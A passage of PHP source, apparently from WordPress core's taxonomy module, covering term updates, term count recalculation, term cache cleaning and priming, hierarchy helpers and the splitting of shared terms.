ID of the parent term. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $parsed_args An array of potentially altered update arguments for the given term. * @param array $args Arguments passed to wp_update_term(). */ $parent = (int) apply_filters( 'wp_update_term_parent', $args['parent'], $term_id, $taxonomy, $parsed_args, $args ); // Check for duplicate slug. $duplicate = get_term_by( 'slug', $slug, $taxonomy ); if ( $duplicate && $duplicate->term_id !== $term_id ) { /* * If an empty slug was passed or the parent changed, reset the slug to something unique. * Otherwise, bail. */ if ( $empty_slug || ( $parent !== (int) $term['parent'] ) ) { $slug = wp_unique_term_slug( $slug, (object) $args ); } else { /* translators: %s: Taxonomy term slug. */ return new WP_Error( 'duplicate_term_slug', sprintf( __( 'The slug “%s” is already in use by another term.' ), $slug ) ); } } $tt_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) ); // Check whether this is a shared term that needs splitting. $_term_id = _split_shared_term( $term_id, $tt_id ); if ( ! is_wp_error( $_term_id ) ) { $term_id = $_term_id; } /** * Fires immediately before the given terms are edited. * * @since 2.9.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edit_terms', $term_id, $taxonomy, $args ); $data = compact( 'name', 'slug', 'term_group' ); /** * Filters term data before it is updated in the database. * * @since 4.7.0 * * @param array $data Term data to be updated. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ $data = apply_filters( 'wp_update_term_data', $data, $term_id, $taxonomy, $args ); $wpdb->update( $wpdb->terms, $data, compact( 'term_id' ) ); if ( empty( $slug ) ) { $slug = sanitize_title( $name, $term_id ); $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); } /** * Fires immediately after a term is updated in the database, but before its * term-taxonomy relationship is updated. * * @since 2.9.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edited_terms', $term_id, $taxonomy, $args ); /** * Fires immediate before a term-taxonomy relationship is updated. * * @since 2.9.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edit_term_taxonomy', $tt_id, $taxonomy, $args ); $wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) ); /** * Fires immediately after a term-taxonomy relationship is updated. * * @since 2.9.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edited_term_taxonomy', $tt_id, $taxonomy, $args ); /** * Fires after a term has been updated, but before the term cache has been cleaned. * * The {@see 'edit_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edit_term', $term_id, $tt_id, $taxonomy, $args ); /** * Fires after a term in a specific taxonomy has been updated, but before the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `edit_category` * - `edit_post_tag` * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param array $args Arguments passed to wp_update_term(). */ do_action( "edit_{$taxonomy}", $term_id, $tt_id, $args ); /** This filter is documented in wp-includes/taxonomy.php */ $term_id = apply_filters( 'term_id_filter', $term_id, $tt_id ); clean_term_cache( $term_id, $taxonomy ); /** * Fires after a term has been updated, and the term cache has been cleaned. * * The {@see 'edited_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ do_action( 'edited_term', $term_id, $tt_id, $taxonomy, $args ); /** * Fires after a term for a specific taxonomy has been updated, and the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `edited_category` * - `edited_post_tag` * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param array $args Arguments passed to wp_update_term(). */ do_action( "edited_{$taxonomy}", $term_id, $tt_id, $args ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'saved_term', $term_id, $tt_id, $taxonomy, true, $args ); /** This action is documented in wp-includes/taxonomy.php */ do_action( "saved_{$taxonomy}", $term_id, $tt_id, true, $args ); return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id, ); } /** * Enables or disables term counting. * * @since 2.5.0 * * @param bool $defer Optional. Enable if true, disable if false. * @return bool Whether term counting is enabled or disabled. */ function wp_defer_term_counting( $defer = null ) { static $_defer = false; if ( is_bool( $defer ) ) { $_defer = $defer; // Flush any deferred counts. if ( ! $defer ) { wp_update_term_count( null, null, true ); } } return $_defer; } /** * Updates the amount of terms in taxonomy. * * If there is a taxonomy callback applied, then it will be called for updating * the count. * * The default action is to count what the amount of terms have the relationship * of term ID. Once that is done, then update the database. * * @since 2.3.0 * * @param int|array $terms The term_taxonomy_id of the terms. * @param string $taxonomy The context of the term. * @param bool $do_deferred Whether to flush the deferred term counts too. Default false. * @return bool If no terms will return false, and if successful will return true. */ function wp_update_term_count( $terms, $taxonomy, $do_deferred = false ) { static $_deferred = array(); if ( $do_deferred ) { foreach ( (array) array_keys( $_deferred ) as $tax ) { wp_update_term_count_now( $_deferred[ $tax ], $tax ); unset( $_deferred[ $tax ] ); } } if ( empty( $terms ) ) { return false; } if ( ! is_array( $terms ) ) { $terms = array( $terms ); } if ( wp_defer_term_counting() ) { if ( ! isset( $_deferred[ $taxonomy ] ) ) { $_deferred[ $taxonomy ] = array(); } $_deferred[ $taxonomy ] = array_unique( array_merge( $_deferred[ $taxonomy ], $terms ) ); return true; } return wp_update_term_count_now( $terms, $taxonomy ); } /** * Performs term count update immediately. * * @since 2.5.0 * * @param array $terms The term_taxonomy_id of terms to update. * @param string $taxonomy The context of the term. * @return true Always true when complete. */ function wp_update_term_count_now( $terms, $taxonomy ) { $terms = array_map( 'intval', $terms ); $taxonomy = get_taxonomy( $taxonomy ); if ( ! empty( $taxonomy->update_count_callback ) ) { call_user_func( $taxonomy->update_count_callback, $terms, $taxonomy ); } else { $object_types = (array) $taxonomy->object_type; foreach ( $object_types as &$object_type ) { if ( str_starts_with( $object_type, 'attachment:' ) ) { list( $object_type ) = explode( ':', $object_type ); } } if ( array_filter( $object_types, 'post_type_exists' ) == $object_types ) { // Only post types are attached to this taxonomy. _update_post_term_count( $terms, $taxonomy ); } else { // Default count updater. _update_generic_term_count( $terms, $taxonomy ); } } clean_term_cache( $terms, '', false ); return true; } // // Cache. // /** * Removes the taxonomy relationship to terms from the cache. * * Will remove the entire taxonomy relationship containing term `$object_id`. The * term IDs have to exist within the taxonomy `$object_type` for the deletion to * take place. * * @since 2.3.0 * * @global bool $_wp_suspend_cache_invalidation * * @see get_object_taxonomies() for more on $object_type. * * @param int|array $object_ids Single or list of term object ID(s). * @param array|string $object_type The taxonomy object type. */ function clean_object_term_cache( $object_ids, $object_type ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( ! is_array( $object_ids ) ) { $object_ids = array( $object_ids ); } $taxonomies = get_object_taxonomies( $object_type ); foreach ( $taxonomies as $taxonomy ) { wp_cache_delete_multiple( $object_ids, "{$taxonomy}_relationships" ); } wp_cache_set_terms_last_changed(); /** * Fires after the object term cache has been cleaned. * * @since 2.5.0 * * @param array $object_ids An array of object IDs. * @param string $object_type Object type. */ do_action( 'clean_object_term_cache', $object_ids, $object_type ); } /** * Removes all of the term IDs from the cache. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global bool $_wp_suspend_cache_invalidation * * @param int|int[] $ids Single or array of term IDs. * @param string $taxonomy Optional. Taxonomy slug. Can be empty, in which case the taxonomies of the passed * term IDs will be used. Default empty. * @param bool $clean_taxonomy Optional. Whether to clean taxonomy wide caches (true), or just individual * term object caches (false). Default true. */ function clean_term_cache( $ids, $taxonomy = '', $clean_taxonomy = true ) { global $wpdb, $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( ! is_array( $ids ) ) { $ids = array( $ids ); } $taxonomies = array(); // If no taxonomy, assume tt_ids. if ( empty( $taxonomy ) ) { $tt_ids = array_map( 'intval', $ids ); $tt_ids = implode( ', ', $tt_ids ); $terms = $wpdb->get_results( "SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)" ); $ids = array(); foreach ( (array) $terms as $term ) { $taxonomies[] = $term->taxonomy; $ids[] = $term->term_id; } wp_cache_delete_multiple( $ids, 'terms' ); $taxonomies = array_unique( $taxonomies ); } else { wp_cache_delete_multiple( $ids, 'terms' ); $taxonomies = array( $taxonomy ); } foreach ( $taxonomies as $taxonomy ) { if ( $clean_taxonomy ) { clean_taxonomy_cache( $taxonomy ); } /** * Fires once after each taxonomy's term cache has been cleaned. * * @since 2.5.0 * @since 4.5.0 Added the `$clean_taxonomy` parameter. * * @param array $ids An array of term IDs. * @param string $taxonomy Taxonomy slug. * @param bool $clean_taxonomy Whether or not to clean taxonomy-wide caches */ do_action( 'clean_term_cache', $ids, $taxonomy, $clean_taxonomy ); } wp_cache_set_terms_last_changed(); } /** * Cleans the caches for a taxonomy. * * @since 4.9.0 * * @param string $taxonomy Taxonomy slug. */ function clean_taxonomy_cache( $taxonomy ) { wp_cache_delete( 'all_ids', $taxonomy ); wp_cache_delete( 'get', $taxonomy ); wp_cache_set_terms_last_changed(); // Regenerate cached hierarchy. delete_option( "{$taxonomy}_children" ); _get_term_hierarchy( $taxonomy ); /** * Fires after a taxonomy's caches have been cleaned. * * @since 4.9.0 * * @param string $taxonomy Taxonomy slug. */ do_action( 'clean_taxonomy_cache', $taxonomy ); } /** * Retrieves the cached term objects for the given object ID. * * Upstream functions (like get_the_terms() and is_object_in_term()) are * responsible for populating the object-term relationship cache. The current * function only fetches relationship data that is already in the cache. * * @since 2.3.0 * @since 4.7.0 Returns a `WP_Error` object if there's an error with * any of the matched terms. * * @param int $id Term object ID, for example a post, comment, or user ID. * @param string $taxonomy Taxonomy name. * @return bool|WP_Term[]|WP_Error Array of `WP_Term` objects, if cached. * False if cache is empty for `$taxonomy` and `$id`. * WP_Error if get_term() returns an error object for any term. */ function get_object_term_cache( $id, $taxonomy ) { $_term_ids = wp_cache_get( $id, "{$taxonomy}_relationships" ); // We leave the priming of relationship caches to upstream functions. if ( false === $_term_ids ) { return false; } // Backward compatibility for if a plugin is putting objects into the cache, rather than IDs. $term_ids = array(); foreach ( $_term_ids as $term_id ) { if ( is_numeric( $term_id ) ) { $term_ids[] = (int) $term_id; } elseif ( isset( $term_id->term_id ) ) { $term_ids[] = (int) $term_id->term_id; } } // Fill the term objects. _prime_term_caches( $term_ids ); $terms = array(); foreach ( $term_ids as $term_id ) { $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } $terms[] = $term; } return $terms; } /** * Updates the cache for the given term object ID(s). * * Note: Due to performance concerns, great care should be taken to only update * term caches when necessary. Processing time can increase exponentially depending * on both the number of passed term IDs and the number of taxonomies those terms * belong to. * * Caches will only be updated for terms not already cached. * * @since 2.3.0 * * @param string|int[] $object_ids Comma-separated list or array of term object IDs. * @param string|string[] $object_type The taxonomy object type or array of the same. * @return void|false Void on success or if the `$object_ids` parameter is empty, * false if all of the terms in `$object_ids` are already cached. */ function update_object_term_cache( $object_ids, $object_type ) { if ( empty( $object_ids ) ) { return; } if ( ! is_array( $object_ids ) ) { $object_ids = explode( ',', $object_ids ); } $object_ids = array_map( 'intval', $object_ids ); $non_cached_ids = array(); $taxonomies = get_object_taxonomies( $object_type ); foreach ( $taxonomies as $taxonomy ) { $cache_values = wp_cache_get_multiple( (array) $object_ids, "{$taxonomy}_relationships" ); foreach ( $cache_values as $id => $value ) { if ( false === $value ) { $non_cached_ids[] = $id; } } } if ( empty( $non_cached_ids ) ) { return false; } $non_cached_ids = array_unique( $non_cached_ids ); $terms = wp_get_object_terms( $non_cached_ids, $taxonomies, array( 'fields' => 'all_with_object_id', 'orderby' => 'name', 'update_term_meta_cache' => false, ) ); $object_terms = array(); foreach ( (array) $terms as $term ) { $object_terms[ $term->object_id ][ $term->taxonomy ][] = $term->term_id; } foreach ( $non_cached_ids as $id ) { foreach ( $taxonomies as $taxonomy ) { if ( ! isset( $object_terms[ $id ][ $taxonomy ] ) ) { if ( ! isset( $object_terms[ $id ] ) ) { $object_terms[ $id ] = array(); } $object_terms[ $id ][ $taxonomy ] = array(); } } } $cache_values = array(); foreach ( $object_terms as $id => $value ) { foreach ( $value as $taxonomy => $terms ) { $cache_values[ $taxonomy ][ $id ] = $terms; } } foreach ( $cache_values as $taxonomy => $data ) { wp_cache_add_multiple( $data, "{$taxonomy}_relationships" ); } } /** * Updates terms in cache. * * @since 2.3.0 * * @param WP_Term[] $terms Array of term objects to change. * @param string $taxonomy Not used. */ function update_term_cache( $terms, $taxonomy = '' ) { $data = array(); foreach ( (array) $terms as $term ) { // Create a copy in case the array was passed by reference. $_term = clone $term; // Object ID should not be cached. unset( $_term->object_id ); $data[ $term->term_id ] = $_term; } wp_cache_add_multiple( $data, 'terms' ); } // // Private. // /** * Retrieves children of taxonomy as term IDs. * * @access private * @since 2.3.0 * * @param string $taxonomy Taxonomy name. * @return array Empty if $taxonomy isn't hierarchical or returns children as term IDs. */ function _get_term_hierarchy( $taxonomy ) { if ( ! is_taxonomy_hierarchical( $taxonomy ) ) { return array(); } $children = get_option( "{$taxonomy}_children" ); if ( is_array( $children ) ) { return $children; } $children = array(); $terms = get_terms( array( 'taxonomy' => $taxonomy, 'get' => 'all', 'orderby' => 'id', 'fields' => 'id=>parent', 'update_term_meta_cache' => false, ) ); foreach ( $terms as $term_id => $parent ) { if ( $parent > 0 ) { $children[ $parent ][] = $term_id; } } update_option( "{$taxonomy}_children", $children ); return $children; } /** * Gets the subset of $terms that are descendants of $term_id. * * If `$terms` is an array of objects, then _get_term_children() returns an array of objects. * If `$terms` is an array of IDs, then _get_term_children() returns an array of IDs. * * @access private * @since 2.3.0 * * @param int $term_id The ancestor term: all returned terms should be descendants of `$term_id`. * @param array $terms The set of terms - either an array of term objects or term IDs - from which those that * are descendants of $term_id will be chosen. * @param string $taxonomy The taxonomy which determines the hierarchy of the terms. * @param array $ancestors Optional. Term ancestors that have already been identified. Passed by reference, to keep * track of found terms when recursing the hierarchy. The array of located ancestors is used * to prevent infinite recursion loops. For performance, `term_ids` are used as array keys, * with 1 as value. Default empty array. * @return array|WP_Error The subset of $terms that are descendants of $term_id. */ function _get_term_children( $term_id, $terms, $taxonomy, &$ancestors = array() ) { $empty_array = array(); if ( empty( $terms ) ) { return $empty_array; } $term_id = (int) $term_id; $term_list = array(); $has_children = _get_term_hierarchy( $taxonomy ); if ( $term_id && ! isset( $has_children[ $term_id ] ) ) { return $empty_array; } // Include the term itself in the ancestors array, so we can properly detect when a loop has occurred. if ( empty( $ancestors ) ) { $ancestors[ $term_id ] = 1; } foreach ( (array) $terms as $term ) { $use_id = false; if ( ! is_object( $term ) ) { $term = get_term( $term, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } $use_id = true; } // Don't recurse if we've already identified the term as a child - this indicates a loop. if ( isset( $ancestors[ $term->term_id ] ) ) { continue; } if ( (int) $term->parent === $term_id ) { if ( $use_id ) { $term_list[] = $term->term_id; } else { $term_list[] = $term; } if ( ! isset( $has_children[ $term->term_id ] ) ) { continue; } $ancestors[ $term->term_id ] = 1; $children = _get_term_children( $term->term_id, $terms, $taxonomy, $ancestors ); if ( $children ) { $term_list = array_merge( $term_list, $children ); } } } return $term_list; } /** * Adds count of children to parent count. * * Recalculates term counts by including items from child terms. Assumes all * relevant children are already in the $terms argument. * * @access private * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param object[]|WP_Term[] $terms List of term objects (passed by reference). * @param string $taxonomy Term context. */ function _pad_term_counts( &$terms, $taxonomy ) { global $wpdb; // This function only works for hierarchical taxonomies like post categories. if ( ! is_taxonomy_hierarchical( $taxonomy ) ) { return; } $term_hier = _get_term_hierarchy( $taxonomy ); if ( empty( $term_hier ) ) { return; } $term_items = array(); $terms_by_id = array(); $term_ids = array(); foreach ( (array) $terms as $key => $term ) { $terms_by_id[ $term->term_id ] = & $terms[ $key ]; $term_ids[ $term->term_taxonomy_id ] = $term->term_id; } // Get the object and term IDs and stick them in a lookup table. $tax_obj = get_taxonomy( $taxonomy ); $object_types = esc_sql( $tax_obj->object_type ); $results = $wpdb->get_results( "SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (" . implode( ',', array_keys( $term_ids ) ) . ") AND post_type IN ('" . implode( "', '", $object_types ) . "') AND post_status = 'publish'" ); foreach ( $results as $row ) { $id = $term_ids[ $row->term_taxonomy_id ]; $term_items[ $id ][ $row->object_id ] = isset( $term_items[ $id ][ $row->object_id ] ) ? ++$term_items[ $id ][ $row->object_id ] : 1; } // Touch every ancestor's lookup row for each post in each term. foreach ( $term_ids as $term_id ) { $child = $term_id; $ancestors = array(); while ( ! empty( $terms_by_id[ $child ] ) && $parent = $terms_by_id[ $child ]->parent ) { $ancestors[] = $child; if ( ! empty( $term_items[ $term_id ] ) ) { foreach ( $term_items[ $term_id ] as $item_id => $touches ) { $term_items[ $parent ][ $item_id ] = isset( $term_items[ $parent ][ $item_id ] ) ? ++$term_items[ $parent ][ $item_id ] : 1; } } $child = $parent; if ( in_array( $parent, $ancestors, true ) ) { break; } } } // Transfer the touched cells. foreach ( (array) $term_items as $id => $items ) { if ( isset( $terms_by_id[ $id ] ) ) { $terms_by_id[ $id ]->count = count( $items ); } } } /** * Adds any terms from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @since 6.1.0 This function is no longer marked as "private". * @since 6.3.0 Use wp_lazyload_term_meta() for lazy-loading of term meta. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $term_ids Array of term IDs. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_term_caches( $term_ids, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $term_ids, 'terms' ); if ( ! empty( $non_cached_ids ) ) { $fresh_terms = $wpdb->get_results( sprintf( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); update_term_cache( $fresh_terms ); } if ( $update_meta_cache ) { wp_lazyload_term_meta( $term_ids ); } } // // Default callbacks. // /** * Updates term count based on object types of the current taxonomy. * * Private function for the default callback for post_tag and category * taxonomies. * * @access private * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int[] $terms List of term taxonomy IDs. * @param WP_Taxonomy $taxonomy Current taxonomy object of terms. */ function _update_post_term_count( $terms, $taxonomy ) { global $wpdb; $object_types = (array) $taxonomy->object_type; foreach ( $object_types as &$object_type ) { list( $object_type ) = explode( ':', $object_type ); } $object_types = array_unique( $object_types ); $check_attachments = array_search( 'attachment', $object_types, true ); if ( false !== $check_attachments ) { unset( $object_types[ $check_attachments ] ); $check_attachments = true; } if ( $object_types ) { $object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) ); } $post_statuses = array( 'publish' ); /** * Filters the post statuses for updating the term count. * * @since 5.7.0 * * @param string[] $post_statuses List of post statuses to include in the count. Default is 'publish'. * @param WP_Taxonomy $taxonomy Current taxonomy object. */ $post_statuses = esc_sql( apply_filters( 'update_post_term_count_statuses', $post_statuses, $taxonomy ) ); foreach ( (array) $terms as $term ) { $count = 0; // Attachments can be 'inherit' status, we need to base count off the parent's status if so. if ( $check_attachments ) { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.QuotedDynamicPlaceholderGeneration $count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts p1 WHERE p1.ID = $wpdb->term_relationships.object_id AND ( post_status IN ('" . implode( "', '", $post_statuses ) . "') OR ( post_status = 'inherit' AND post_parent > 0 AND ( SELECT post_status FROM $wpdb->posts WHERE ID = p1.post_parent ) IN ('" . implode( "', '", $post_statuses ) . "') ) ) AND post_type = 'attachment' AND term_taxonomy_id = %d", $term ) ); } if ( $object_types ) { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.QuotedDynamicPlaceholderGeneration $count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status IN ('" . implode( "', '", $post_statuses ) . "') AND post_type IN ('" . implode( "', '", $object_types ) . "') AND term_taxonomy_id = %d", $term ) ); } /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_term_taxonomy', $term, $taxonomy->name ); $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_term_taxonomy', $term, $taxonomy->name ); } } /** * Updates term count based on number of objects. * * Default callback for the 'link_category' taxonomy. * * @since 3.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int[] $terms List of term taxonomy IDs. * @param WP_Taxonomy $taxonomy Current taxonomy object of terms. */ function _update_generic_term_count( $terms, $taxonomy ) { global $wpdb; foreach ( (array) $terms as $term ) { $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_term_taxonomy', $term, $taxonomy->name ); $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_term_taxonomy', $term, $taxonomy->name ); } } /** * Creates a new term for a term_taxonomy item that currently shares its term * with another term_taxonomy. * * @ignore * @since 4.2.0 * @since 4.3.0 Introduced `$record` parameter. Also, `$term_id` and * `$term_taxonomy_id` can now accept objects. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|object $term_id ID of the shared term, or the shared term object. * @param int|object $term_taxonomy_id ID of the term_taxonomy item to receive a new term, or the term_taxonomy object * (corresponding to a row from the term_taxonomy table). * @param bool $record Whether to record data about the split term in the options table. The recording * process has the potential to be resource-intensive, so during batch operations * it can be beneficial to skip inline recording and do it just once, after the * batch is processed. Only set this to `false` if you know what you are doing. * Default: true. * @return int|WP_Error When the current term does not need to be split (or cannot be split on the current * database schema), `$term_id` is returned. When the term is successfully split, the * new term_id is returned. A WP_Error is returned for miscellaneous errors. */ function _split_shared_term( $term_id, $term_taxonomy_id, $record = true ) { global $wpdb; if ( is_object( $term_id ) ) { $shared_term = $term_id; $term_id = (int) $shared_term->term_id; } if ( is_object( $term_taxonomy_id ) ) { $term_taxonomy = $term_taxonomy_id; $term_taxonomy_id = (int) $term_taxonomy->term_taxonomy_id; } // If there are no shared term_taxonomy rows, there's nothing to do here. $shared_tt_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy tt WHERE tt.term_id = %d AND tt.term_taxonomy_id != %d", $term_id, $term_taxonomy_id ) ); if ( ! $shared_tt_count ) { return $term_id; } /* * Verify that the term_taxonomy_id passed to the function is actually associated with the term_id. * If there's a mismatch, it may mean that the term is already split. Return the actual term_id from the db. */ $check_term_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) ); if ( $check_term_id !== $term_id ) { return $check_term_id; } // Pull up data about the currently shared slug, which we'll use to populate the new one. if ( empty( $shared_term ) ) { $shared_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.* FROM $wpdb->terms t WHERE t.term_id = %d", $term_id ) ); } $new_term_data = array( 'name' => $shared_term->name, 'slug' => $shared_term->slug, 'term_group' => $shared_term->term_group, ); if ( false === $wpdb->insert( $wpdb->terms, $new_term_data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not split shared term.' ), $wpdb->last_error ); } $new_term_id = (int) $wpdb->insert_id; // Update the existing term_taxonomy to point to the newly created term. $wpdb->update( $wpdb->term_taxonomy, array( 'term_id' => $new_term_id ), array( 'term_taxonomy_id' => $term_taxonomy_id ) ); // Reassign child terms to the new parent. if ( empty( $term_taxonomy ) ) { $term_taxonomy = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) ); } $children_tt_ids = $wpdb->get_col( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE parent = %d AND taxonomy = %s", $term_id, $term_taxonomy->taxonomy ) ); if ( ! empty( $children_tt_ids ) ) { foreach ( $children_tt_ids as $child_tt_id ) { $wpdb->update( $wpdb->term_taxonomy, array( 'parent' => $new_term_id ), array( 'term_taxonomy_id' => $child_tt_id ) ); clean_term_cache( (int) $child_tt_id, '', false ); } } else { // If the term has no children, we must force its taxonomy cache to be rebuilt separately. clean_term_cache( $new_term_id, $term_taxonomy->taxonomy, false ); } clean_term_cache( $term_id, $term_taxonomy->taxonomy, false ); /* * Taxonomy cache clearing is delayed to avoid race conditions that may occur when * regenerating the taxonomy's hierarchy tree. */ $taxonomies_to_clean = array( $term_taxonomy->taxonomy ); // Clean the cache for term taxonomies formerly shared with the current term. $shared_term_taxonomies = $wpdb->get_col( $wpdb->prepare( "SELECT taxonomy FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) ); $taxonomies_to_clean = array_merge( $taxonomies_to_clean, $shared_term_taxonomies ); foreach ( $taxonomies_to_clean as $taxonomy_to_clean ) { clean_taxonomy_cache( $taxonomy_to_clean ); } // Keep a record of term_ids that have been split, keyed by old term_id. See wp_get_split_term(). if ( $record ) { $split_term_data = get_option( '_split_terms', array() ); if ( ! isset( $split_term_data[ $term_id ] ) ) { $split_term_data[ $term_id ] = array(); } $split_term_data[ $term_id ][ $term_taxonomy->taxonomy ] = $new_term_id; update_option( '_split_terms', $split_term_data ); } // If we've just split the final shared term, set the "finished" flag. $shared_terms_exist = $wpdb->get_results( "SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id GROUP BY t.term_id HAVING term_tt_count > 1 LIMIT 1" ); if ( ! $shared_terms_exist ) { update_option( 'finished_splitting_shared_terms', true ); } /** * Fires after a previously shared taxonomy term is split into two separate terms. * * @since 4.2.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ do_action( 'split_shared_term', $term_id, $new_term_id, $term_taxonomy_id, $term_taxonomy->taxonomy ); return $new_term_id; } /** * Splits a batch of shared taxonomy terms. * * @since 4.3.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function _wp_batch_split_terms() { global $wpdb; $lock_name = 'term_split.lock'; // Try to lock. $lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'off') /* LOCK */", $lock_name, time() ) ); if ( ! $lock_result ) { $lock_result = get_option( $lock_name ); // Bail if we were unable to create a lock, or if the existing lock is still valid. if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) { wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' ); return; } } // Update the lock, as by this point we've definitely got a lock, just need to fire the actions. update_option( $lock_name, time() ); // Get a list of shared terms (those with more than one associated row in term_taxonomy). $shared_terms = $wpdb->get_results( "SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id GROUP BY t.term_id HAVING term_tt_count > 1 LIMIT 10" ); // No more terms, we're done here. if ( ! $shared_terms ) { update_option( 'finished_splitting_shared_terms', true ); delete_option( $lock_name ); return; } // Shared terms found? We'll need to run this script again. wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' ); // Rekey shared term array for faster lookups. $_shared_terms = array(); foreach ( $shared_terms as $shared_term ) { $term_id = (int) $shared_term->term_id; $_shared_terms[ $term_id ] = $shared_term; } $shared_terms = $_shared_terms; // Get term taxonomy data for all shared terms. $shared_term_ids = implode( ',', array_keys( $shared_terms ) ); $shared_tts = $wpdb->get_results( "SELECT * FROM {$wpdb->term_taxonomy} WHERE `term_id` IN ({$shared_term_ids})" ); // Split term data recording is slow, so we do it just 